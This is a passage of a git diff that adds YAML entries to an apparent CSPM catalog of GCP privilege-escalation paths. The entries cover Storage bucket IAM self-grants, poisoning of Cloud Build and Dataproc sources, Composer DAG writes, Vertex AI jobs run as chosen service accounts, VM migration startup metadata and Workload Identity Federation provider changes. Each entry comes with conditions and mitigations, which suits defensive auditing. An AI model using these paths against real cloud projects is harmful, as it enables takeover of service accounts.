dataproc_cluster + - cloudbuild_unpinned_storage_source + scope: any + aggregate_as: "SAs of workloads loading code from buckets whose IAM the source controls" + conditions: + - id: followup_replace + description: The self-granted role must include storage.objects.create and storage.objects.delete so the consumed object can be replaced; a later Dataproc node startup or retry of a recorded non-triggered Cloud Build must load it without a pinned generation. + - id: blind_replace + description: setIamPolicy alone replaces the whole policy; a non-destructive read-modify-write also needs the matching getIamPolicy permission. + - id: allowed_member_domains + description: iam.allowedPolicyMemberDomains can reject bindings for external principals. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict storage.buckets.setIamPolicy on buckets that hold executable code or build sources. + references: + - https://docs.cloud.google.com/storage/docs/access-control/iam-permissions + +- id: gcp-storage-buckets-setiampolicy-composer + provider: gcp + service: storage + title: Self-grant write on a Composer environment bucket through the bucket IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md#storagebucketssetiampolicy--storagemanagedfolderssetiampolicy--resource-scoped-self-grant + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the service account of every Composer environment whose bucket IAM policy it controls. + requires: + all_of: + - action: storage.buckets.setIamPolicy + resource: '{target.host_resource.content_storage}' + target: + kind: gcp_service_account + selector: + attached_to_service: composer_environment + gcp_composer_storage_policy_path: bucket + scope: any + aggregate_as: SAs of Composer environments whose bucket IAM the source controls + conditions: + - id: followup_write + description: The self-granted object write then drops a DAG that runs as the environment SA (see gcp-composer-bucket-write). + - id: allowed_member_domains + description: iam.allowedPolicyMemberDomains can reject bindings for external principals. + - id: blind_replace + description: setIamPolicy alone replaces the whole bucket policy; a non-destructive read-modify-write also needs storage.buckets.getIamPolicy. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + references: + - https://docs.cloud.google.com/storage/docs/access-control/iam-permissions + - https://docs.cloud.google.com/composer/docs/composer-3/access-control + confidence: conditional + severity: critical + mitigation: Restrict storage.buckets.setIamPolicy (roles/storage.admin) on Composer and other code-bearing buckets. + notes: Dataproc staging and unpinned Cloud Build StorageSource consumers are modelled by gcp-storage-buckets-setiampolicy-code-consumers; function source and App Engine staging bucket techniques are race-conditional and not duplicated here. +- id: gcp-storage-cloudbuild-unpinned-storagesource-poison + provider: gcp + service: storage + title: Replace an unpinned Cloud Build StorageSource archive consumed by a later build + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md#storageobjectscreate--storageobjectsdelete--poison-an-unpinned-cloud-build-storagesource + source_revision: 171e422 + summary: The source may obtain the build service account's privileges if a recorded non-triggered Cloud Build is retried after its unpinned source archive is replaced. + requires: + all_of: + - action: storage.objects.create + resource: '{target.cloudbuild_source_object}' + - action: storage.objects.delete + resource: '{target.cloudbuild_source_object}' + target: + kind: gcp_service_account + selector: + attached_to_service: cloudbuild_unpinned_storage_source + scope: any + aggregate_as: Build SAs of builds consuming source archives the source can replace + conditions: + - id: unpinned_reuse + description: A later legitimate builds.retry must reuse the exact bucket and object from the collected non-triggered build, with StorageSource.generation omitted; generation-pinned sources are unaffected. + - id: executes_source + description: The build steps must execute or trust content from the archive; replacing cloudbuild.yaml inside it is insufficient when steps are supplied separately to the API. + - id: object_protection + description: Retention locks, object holds or IAM Deny on the object block replacement. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Pin StorageSource.generation, keep build source buckets writable only by the build submitters, and avoid retrying builds from mutable sources. + references: + - https://docs.cloud.google.com/build/docs/api/reference/rest/v1/projects.builds#StorageSource + - https://docs.cloud.google.com/build/docs/api/reference/rest/v1/projects.locations.builds/retry + - https://docs.cloud.google.com/storage/docs/access-control/iam-permissions + notes: No cloudbuild.builds.create or actAs is needed when another principal retries the vulnerable build. The model derives an exact target only for a collected build with an explicit service account; future automation and default build identities remain unresolved. +- id: gcp-storage-managedfolders-setiampolicy-dataproc-init + provider: gcp + service: storage + title: Self-grant write access to a Dataproc initialization script folder + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md#storagebucketssetiampolicy--storagemanagedfolderssetiampolicy--resource-scoped-self-grant + source_revision: 6fb9ac51fd + summary: The source may grant itself write access to a managed folder holding a Dataproc initialization script that could run again on a new cluster node. + requires: + all_of: + - action: storage.managedFolders.setIamPolicy + resource: '{target.dataproc_init_managed_folder}' + target: + kind: gcp_service_account + selector: + attached_to_service: dataproc_cluster + scope: any + aggregate_as: SAs of Dataproc clusters with an initialization script in a writable managed folder + conditions: + - id: exact_init_script_folder + description: The collected initialization action must name a GCS object in the exact managed folder, and the bucket must use uniform bucket-level access. + - id: future_node_startup + description: A new cluster node must load the modified script after the folder grant and object replacement. + - id: followup_object_replace + description: The self-granted role must permit replacement of the referenced object, subject to holds and retention. + blockers: [gcp_deny_policy, vpc_sc_perimeter] + confidence: conditional + severity: high + mitigation: Restrict managed-folder IAM changes on paths holding Dataproc initialization scripts. + references: + - https://docs.cloud.google.com/storage/docs/access-control/iam-permissions + - https://docs.cloud.google.com/managed-spark/docs/concepts/configuring-clusters/init-actions +- id: gcp-storage-managedfolders-setiampolicy-composer + provider: gcp + service: storage + title: Self-grant Composer DAG write access through a managed-folder IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md#storagebucketssetiampolicy--storagemanagedfolderssetiampolicy--resource-scoped-self-grant + source_revision: 6fb9ac51fd + summary: The source may grant itself write access to a Composer DAG prefix when it can change the IAM policy of a managed folder covering that prefix. + requires: + all_of: + - action: storage.managedFolders.setIamPolicy + resource: '{target.composer_dag_managed_folder}' + target: + kind: gcp_service_account + selector: + attached_to_service: composer_environment + gcp_composer_storage_policy_path: managed_folder + scope: any + aggregate_as: SAs of Composer environments with a potentially writable DAG managed folder + conditions: + - id: managed_dag_folder + description: The bucket must use uniform bucket-level access and an existing managed folder must contain or sit inside the Composer DAG prefix; the permission must apply to that exact folder. + - id: followup_write + description: The new folder binding must grant object creation under dags/ so the scheduler loads the new DAG. + - id: allowed_member_domains + description: An external source may be prevented from adding itself to the folder policy by the allowed-member-domains organization policy. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Limit managed-folder IAM policy changes on Composer DAG prefixes to environment administrators. + references: + - https://docs.cloud.google.com/storage/docs/creating-managing-managed-folders + - https://docs.cloud.google.com/composer/docs/composer-3/access-control diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/vertexai.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/vertexai.yaml new file mode 100644 index 0000000000..40ff09bba7 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/vertexai.yaml @@ -0,0 +1,373 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Vertex AI (aiplatform) and Workbench (notebooks) privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-vertex-ai-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# attached_to_service: vertex_custom_code_agent -> service-@gcp-sa-aiplatform-cc of the project; +# notebooks_instance -> SA attached to an existing Workbench instance ("{target.host_resource}"). +# vertex_reasoning_engine_agent -> service-@gcp-sa-aiplatform-re of the project (Agent Engine default runtime identity). + +- id: gcp-vertex-customjobs-create-actas + provider: gcp + service: aiplatform + title: Create a Vertex AI custom job or custom training pipeline running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#aiplatformcustomjobscreate--iamserviceaccountsactas + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs, by creating a Vertex AI custom job or a custom TrainingPipeline whose workload runs as that service account. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + any_of: + - - action: aiplatform.customJobs.create + resource: '*' + - - action: aiplatform.trainingPipelines.create + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: Service accounts usable as Vertex AI workload SA in {project} + conditions: + - id: metadata_reachable + description: The workload code must be able to use the attached identity (metadata server or default credentials in the runtime). + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Grant actAs only on dedicated Vertex AI workload SAs; no aiplatform.* role contains actAs but roles/editor contains both. + notes: A custom TrainingPipeline wraps the same custom job spec, so aiplatform.trainingPipelines.create is an equivalent alternative. + +- id: gcp-vertex-pipelinejobs-create-actas + provider: gcp + service: aiplatform + title: Create a Vertex AI pipeline job running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#aiplatformpipelinejobscreate--iamserviceaccountsactas + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: aiplatform.pipelineJobs.create + resource: '*' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: Service accounts usable as Vertex AI workload SA in {project} + conditions: + - id: metadata_reachable + description: The workload code must be able to use the attached identity (metadata server or default credentials in the runtime). + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Grant actAs only on dedicated Vertex AI workload SAs; no aiplatform.* role contains actAs but roles/editor contains both. + +- id: gcp-vertex-hptuningjobs-create-actas + provider: gcp + service: aiplatform + title: Create a hyperparameter tuning job whose trials run as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#aiplatformhyperparametertuningjobscreate--iamserviceaccountsactas + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: aiplatform.hyperparameterTuningJobs.create + resource: '*' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: Service accounts usable as Vertex AI workload SA in {project} + conditions: + - id: metadata_reachable + description: The workload code must be able to use the attached identity (metadata server or default credentials in the runtime). + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Grant actAs only on dedicated Vertex AI workload SAs; no aiplatform.* role contains actAs but roles/editor contains both. + +- id: gcp-vertex-batchprediction-create-actas + provider: gcp + service: aiplatform + title: Create a batch prediction job running a chosen container as a service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#aiplatformbatchpredictionjobscreate--iamserviceaccountsactas + source_revision: 171e422 + summary: The source can supply an unmanaged container and command in a batch prediction job that runs as a service account it can act as. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_vertex_batch_prediction_path: true + scope: same_project + aggregate_as: Service accounts usable as Vertex AI workload SA in {project} + conditions: + - id: container_execution + description: The job request can include an unmanagedContainerModel with a chosen container image and command; no prior model upload is needed, but the image must be usable by Vertex AI. + - id: input_output + description: A valid input source and output destination accessible to the Vertex AI service agent are required for the job to start. + - id: service_agent_io + description: Vertex still uses its service agent for Cloud Storage/BigQuery I/O even with a custom SA. + - id: service_agent_delegation + description: The selector checks that the project's Vertex AI Service Agent has an unconditional roles/iam.serviceAccountAdmin grant on the target SA or an ancestor. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on dedicated Vertex AI workload SAs; no aiplatform.* role contains actAs but roles/editor contains both. + references: + - https://docs.cloud.google.com/vertex-ai/docs/reference/rpc/google.cloud.aiplatform.v1#batchpredictionjob + +- id: gcp-vertex-models-upload-endpoint-deploy-actas + provider: gcp + service: aiplatform + title: Deploy a controlled model to a Vertex AI endpoint under a chosen service + account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#deploy-an-attacker-controlled-model-to-an-endpoint-as-a-target-service-account + source_revision: 6fb9ac51fd + summary: The source can upload a controlled custom-container model and deploy it to a new endpoint under a service account it can use. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_vertex_new_model_endpoint_path: true + scope: same_project + aggregate_as: Service accounts usable as Vertex AI workload SA in {project} + conditions: + - id: controlled_model + description: The selector checks aiplatform.models.upload to create a model with a chosen custom container. An existing controlled model remains unresolved without model inventory. + - id: endpoint + description: The selector checks aiplatform.endpoints.create and project-level deploy rights. An existing endpoint with narrower deploy rights remains unresolved without endpoint inventory. + - id: service_agent_delegation + description: The selector checks that the project's Vertex AI Service Agent has an unconditional roles/iam.serviceAccountAdmin grant on the target SA or an ancestor. + - id: container_contract + description: Custom containers must pass Vertex health/prediction checks for the + deployment to stay up. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on dedicated Vertex AI workload SAs; no aiplatform.* + role contains actAs but roles/editor contains both. + references: + - https://docs.cloud.google.com/gemini-enterprise-agent-platform/machine-learning/general/custom-service-account + +- id: gcp-vertex-reasoningengines-create-actas + provider: gcp + service: aiplatform + title: Deploy an Agent Engine (reasoning engine) running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#aiplatformreasoningenginescreate--iamserviceaccountsactas + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: aiplatform.reasoningEngines.create + resource: '*' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: Service accounts usable as Vertex AI workload SA in {project} + conditions: + - id: metadata_reachable + description: The workload code must be able to use the attached identity (metadata server or default credentials in the runtime). + - id: identity_type + description: The spec must use service-account identity, not identityType AGENT_IDENTITY; a custom build spec SA is a build identity, not the runtime identity. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Grant actAs only on dedicated Vertex AI workload SAs; no aiplatform.* role contains actAs but roles/editor contains both. + +- id: gcp-vertex-notebookexecutionjobs-create-actas + provider: gcp + service: aiplatform + title: Create a Colab Enterprise notebook execution job running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#aiplatformnotebookexecutionjobscreate--iamserviceaccountsactas + source_revision: 171e422 + summary: The source can submit a notebook execution job with controlled inline notebook content and run it as a service account it can act as. + requires: + all_of: + - action: aiplatform.notebookExecutionJobs.create + resource: '*' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: Service accounts usable as Vertex AI workload SA in {project} + conditions: + - id: execution_environment + description: The job can specify customEnvironmentSpec instead of an existing notebook runtime template, and directNotebookSource can carry the notebook content. A usable output destination and compute capacity are still needed. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on dedicated Vertex AI workload SAs; no aiplatform.* role contains actAs but roles/editor contains both. + references: + - https://docs.cloud.google.com/gemini-enterprise-agent-platform/reference/rest/v1/projects.locations.notebookExecutionJobs + +- id: gcp-vertex-workbench-instances-create-actas + provider: gcp + service: aiplatform + title: Create a Vertex AI Workbench instance attached to a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#create-a-workbench-instance-with-a-target-service-account + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: notebooks.instances.create + resource: '*' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: Service accounts usable as Vertex AI workload SA in {project} + conditions: + - id: metadata_reachable + description: The workload code must be able to use the attached identity (metadata server or default credentials in the runtime). + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Grant actAs only on dedicated Vertex AI workload SAs; no aiplatform.* role contains actAs but roles/editor contains both. + notes: Covers the Workbench Instances notes on this anchor; the legacy managed/user-managed notebook paths are obsolete. +- id: gcp-vertex-customjob-custom-code-agent + provider: gcp + service: aiplatform + title: Run a Vertex AI job with no service account so it runs as the Custom Code Service Agent + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#omit-serviceaccount-to-run-custom-training-as-the-custom-code-service-agent + source_revision: 171e422 + summary: The source can obtain the privileges of the Vertex AI Custom Code Service Agent of every project where it can create custom jobs, hyperparameter tuning jobs or custom training pipelines. + requires: + any_of: + - - action: aiplatform.customJobs.create + resource: '*' + - - action: aiplatform.hyperparameterTuningJobs.create + resource: '*' + - - action: aiplatform.trainingPipelines.create + resource: '*' + target: + kind: gcp_service_account + selector: + attached_to_service: vertex_custom_code_agent + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: Vertex AI Custom Code Service Agent of {project} + conditions: + - id: agent_roles + description: Power equals the agent's current bindings (roles/aiplatform.customCodeServiceAgent by default, which HackTricks reports as including token minting for project SAs and broad storage/BigQuery access). + - id: agent_node + description: The selector resolves the project-number service agent and confirms its expected project IAM role binding; a missing binding remains unresolved. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + references: + - https://docs.cloud.google.com/vertex-ai/docs/general/custom-service-account + confidence: conditional + severity: critical + mitigation: Review the bindings of service-@gcp-sa-aiplatform-cc and restrict aiplatform.customJobs.create / pipelineJobs.create (roles/aiplatform.user). + notes: No actAs is checked when no service account is pinned (Google documents the Custom Code Service Agent as the default identity of CustomJob, HyperparameterTuningJob and custom TrainingPipeline training containers). PipelineJobs are not documented to default to this agent. +- id: gcp-vertex-workbench-instance-update-or-setiampolicy + provider: gcp + service: notebooks + title: Take over an existing Workbench instance through update/reset or an instance IAM self-grant + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#notebooksinstancesupdate--notebooksinstancesreset-on-an-existing-workbench-instance + source_revision: 171e422 + summary: The source can obtain the privileges of the service accounts attached to existing Workbench instances it can update and reset or whose IAM policy it controls. + requires: + all_of: [] + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_service_account + selector: + attached_to_service: notebooks_instance + gcp_workbench_existing_takeover_path: true + scope: same_project + aggregate_as: SAs of Workbench instances the source can take over + conditions: + - id: followup_access + description: The selector joins update and reset on the same active instance, update and start on a stopped instance, or an instance policy self-grant to obtain those rights. The metadata startup script runs on boot. + - id: instance_owners + description: JupyterLab access is separate from the instance role and is not required for the metadata boot path. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict notebooks.instances.update/reset/setIamPolicy (roles/notebooks.admin, roles/editor) on instances with privileged SAs and set instance-owners explicitly. + references: + - https://docs.cloud.google.com/gemini-enterprise-agent-platform/notebooks/workbench/reference/rest/v2/projects.locations.instances/patch + - https://docs.cloud.google.com/gemini-enterprise-agent-platform/notebooks/workbench/instances/manage-metadata +- id: gcp-vertex-reasoningengines-create-default-agent + provider: gcp + service: aiplatform + title: Deploy an Agent Engine with no service account so it runs as the Reasoning Engine Service Agent + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#omit-agent-engine-specserviceaccount-to-run-as-the-reasoning-engine-service-agent + source_revision: 171e422 + summary: The source can obtain the privileges of the AI Platform Reasoning Engine Service Agent of every project where it can create reasoning engines. + requires: + all_of: + - action: aiplatform.reasoningEngines.create + resource: '*' + target: + kind: gcp_service_account + selector: + attached_to_service: vertex_reasoning_engine_agent + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: Reasoning Engine Service Agent of {project} + conditions: + - id: identity_selection + description: spec.serviceAccount must be omitted and identityType AGENT_IDENTITY not selected. + - id: agent_roles + description: The selector confirms the expected project IAM role binding. Power equals roles/aiplatform.reasoningEngineServiceAgent (project-scoped Cloud Storage object get/list among others) plus any extra bindings on service-@gcp-sa-aiplatform-re. + - id: staging_build + description: The staging/build permissions needed to deploy attacker-controlled agent code are also required. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: medium + mitigation: Review bindings of the Reasoning Engine Service Agent and restrict aiplatform.reasoningEngines.create (roles/aiplatform.user). + references: + - https://docs.cloud.google.com/gemini-enterprise-agent-platform/scale/runtime/manage-agent-access + notes: No actAs is checked for the default identity. This is not arbitrary service-account impersonation. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/vmmigration.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/vmmigration.yaml new file mode 100644 index 0000000000..c06c5f55c1 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/vmmigration.yaml @@ -0,0 +1,45 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. + +# GCP Migrate to Virtual Machines privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-vm-migration-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# attached_to_service: vmmigration_target_default -> the runtime service account already selected in a MigratingVm's +# computeEngineTargetDefaults ({target.host_resource} is that MigratingVm). +- id: gcp-vmmigration-migratingvm-metadata-clone + provider: gcp + service: vmmigration + title: Add startup metadata to a migrating VM and clone it with its configured runtime service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vm-migration-privesc.md#vmmigrationmigratingvmsupdate--vmmigrationclonejobscreate--execute-startup-metadata-as-the-target-vm-identity + source_revision: 171e422 + summary: The source can obtain the privileges of the runtime service account already configured in the target defaults of every MigratingVm it can update and clone. + requires: + all_of: + - action: vmmigration.migratingVms.update + resource: '{target.host_resource}' + - action: vmmigration.cloneJobs.create + resource: '{target.host_resource}' + target: + kind: gcp_service_account + selector: + attached_to_service: vmmigration_target_default + gcp_vmmigration_metadata_clone_path: true + scope: any + aggregate_as: Runtime SAs configured on MigratingVms the source can update and clone + conditions: + - id: existing_sa_default + description: The same existing MigratingVm must select the runtime service account in its target defaults and permit both the update and clone actions. + - id: service_agent_trust + description: The host-project Migrate to Virtual Machines service agent needs roles/vmmigration.serviceAgent on the target project and Service Account User on the runtime SA. + - id: guest_startup + description: The cloned guest must run the startup script (working guest environment) and have an exfiltration path; the token is limited by the VM's access scopes. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict vmmigration.migratingVms.update and cloneJobs/cutoverJobs.create (roles/vmmigration.admin) and avoid attaching privileged runtime SAs to migration target defaults. + references: + - https://docs.cloud.google.com/migrate/virtual-machines/docs/5.0/get-started/target-sa-compute-engine + - https://docs.cloud.google.com/migrate/virtual-machines/docs/5.0/reference/rest/v1/projects.locations.sources.migratingVms.cloneJobs/create + - https://docs.cloud.google.com/migrate/virtual-machines/docs/5.0/reference/roles-reference + notes: The caller needs no actAs; the service agent performs the attachment. Does not yield the service agent's own identity. A cut-over job delivers the same metadata. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/vmware_external.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/vmware_external.yaml new file mode 100644 index 0000000000..9612f996a1 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/vmware_external.yaml @@ -0,0 +1,59 @@ +# The Google Cloud permission only reads generated VMware credentials. A path +# exists only when complete reviewed evidence proves the exact appliance user, +# usable credential, and a new effective permission after authentication. +# Canonical policy: peaso/privesc/catalog_policy.yaml +- id: gcp-vmwareengine-show-vcenter-credentials-external-principal + provider: gcp + service: vmwareengine + title: Reach the named vCenter CloudOwner principal through a usable generated credential + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vmwareengine-gcve-privesc.md#vmwareengineprivatecloudsshowvcentercredentials--shownsxcredentials--cross-into-the-vmware-management-plane + source_revision: f0f683242a + summary: Reading the generated vCenter credential may reach the exact CloudOwner principal on one private cloud if a reviewed login and newly allowed vCenter action prove the credential is current. + requires: + all_of: + - action: vmwareengine.privateClouds.showVcenterCredentials + resource: '{target.resource}' + target: + kind: gcp_external_principal + selector: + gcp_external_principal_evidence: true + gcp_external_plane: vmware_vcenter + scope: same_project + outcome: credentials + aggregate_as: Exact vCenter CloudOwner principal with reviewed new access + conditions: + - id: exact_usable_vcenter_credential + description: A unique complete reviewed record must bind the exact private cloud, generated CloudOwner subject, usable current credential, prior source denial, and successful new vCenter authorization. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict generated vCenter credential reads and rotate stale credentials. + notes: The gcp_external_principal_evidence record must name TargetPlane vmware_vcenter and bind ActionResource to the exact private cloud, TargetServiceResource to its vCenter, and ObservedPrincipalId to the named CloudOwner. A show response or password string alone is insufficient. + +- id: gcp-vmwareengine-show-nsx-credentials-external-principal + provider: gcp + service: vmwareengine + title: Reach the named NSX admin principal through a usable generated credential + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vmwareengine-gcve-privesc.md#vmwareengineprivatecloudsshowvcentercredentials--shownsxcredentials--cross-into-the-vmware-management-plane + source_revision: f0f683242a + summary: Reading the generated NSX credential may reach the exact NSX admin principal on one private cloud if a reviewed login and newly allowed NSX action prove the credential is current. + requires: + all_of: + - action: vmwareengine.privateClouds.showNsxCredentials + resource: '{target.resource}' + target: + kind: gcp_external_principal + selector: + gcp_external_principal_evidence: true + gcp_external_plane: vmware_nsx + scope: same_project + outcome: credentials + aggregate_as: Exact NSX admin principal with reviewed new access + conditions: + - id: exact_usable_nsx_credential + description: A unique complete reviewed record must bind the exact private cloud, generated NSX subject, usable current credential, prior source denial, and successful new NSX authorization. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict generated NSX credential reads and rotate stale credentials. + notes: The gcp_external_principal_evidence record must name TargetPlane vmware_nsx and bind ActionResource to the exact private cloud, TargetServiceResource to its NSX, and ObservedPrincipalId to the named admin. A show response or password string alone is insufficient. diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/wif.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/wif.yaml new file mode 100644 index 0000000000..9e4fcbe368 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/wif.yaml @@ -0,0 +1,135 @@ +# Active GCP privilege escalation catalog: each entry must show the source principal's permissions and actions leading to a named second principal or to additional effective permissions for the source. A data read or secret access alone is not escalation; credential paths require verified usable credentials tied to the exact target principal. Every active source must cite a GCP privilege-escalation page and the technique's heading anchor. +# GCP Workload Identity Federation privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# "{target.host_resource}" = the workload identity pool. attached_to_service: wif_pool_bound -> service accounts that grant +# roles/iam.workloadIdentityUser to principal:// or principalSet:// members of that pool. Roles bound directly to pool +# principals (federated principal as a node) need the gcp_federated_principal kind (SCHEMA EXTENSIONS). +- id: gcp-wif-provider-create + provider: gcp + service: iam + title: Add a provider trusting attacker-controlled credentials to a pool with broad bindings + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md#workloadidentitypoolproviderscreate--add-trust-to-an-already-authorized-pool + source_revision: 171e422 + summary: The source can create a provider in an active pool whose all-identities principalSet is already allowed to impersonate a named service account. + requires: + all_of: + - action: iam.googleapis.com/workloadIdentityPoolProviders.create + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_wif_active_path: create + scope: any + aggregate_as: Service accounts impersonable through controllable active WIF pools + conditions: + - id: pool_wide_binding + description: The pool has an all-identities principalSet binding that grants token access to the target service account. + - id: pool_active + description: The pool must be enabled. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Restrict workloadIdentityPoolProviders.create, avoid pool-wide service account bindings, and restrict allowed providers by org policy. +- id: gcp-wif-provider-update + provider: gcp + service: iam + title: Change an existing provider's trust configuration + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md#workloadidentitypoolprovidersupdate--take-over-an-authorized-provider + source_revision: 171e422 + summary: The source can update an existing provider in an active pool whose all-identities principalSet can impersonate a named service account. + requires: + all_of: + - action: iam.googleapis.com/workloadIdentityPoolProviders.update + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_wif_active_path: update + scope: any + aggregate_as: Service accounts impersonable through updatable WIF providers + conditions: + - id: matching_binding + description: The active pool must have an all-identities binding that grants service-account token access; the updated provider must admit credentials controlled by the source. + - id: provider_enabled + description: The pool must be enabled. A disabled but active provider can be enabled through the same update permission. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Restrict workloadIdentityPoolProviders.update and alert on provider metadata/issuer changes. + notes: SAML metadata updates must keep one current certificate, which does not prevent adding another. An OIDC oidc.jwksJson upload replaces discovery-fetched keys while keeping the issuer URI. +- id: gcp-wif-pool-provider-restore + provider: gcp 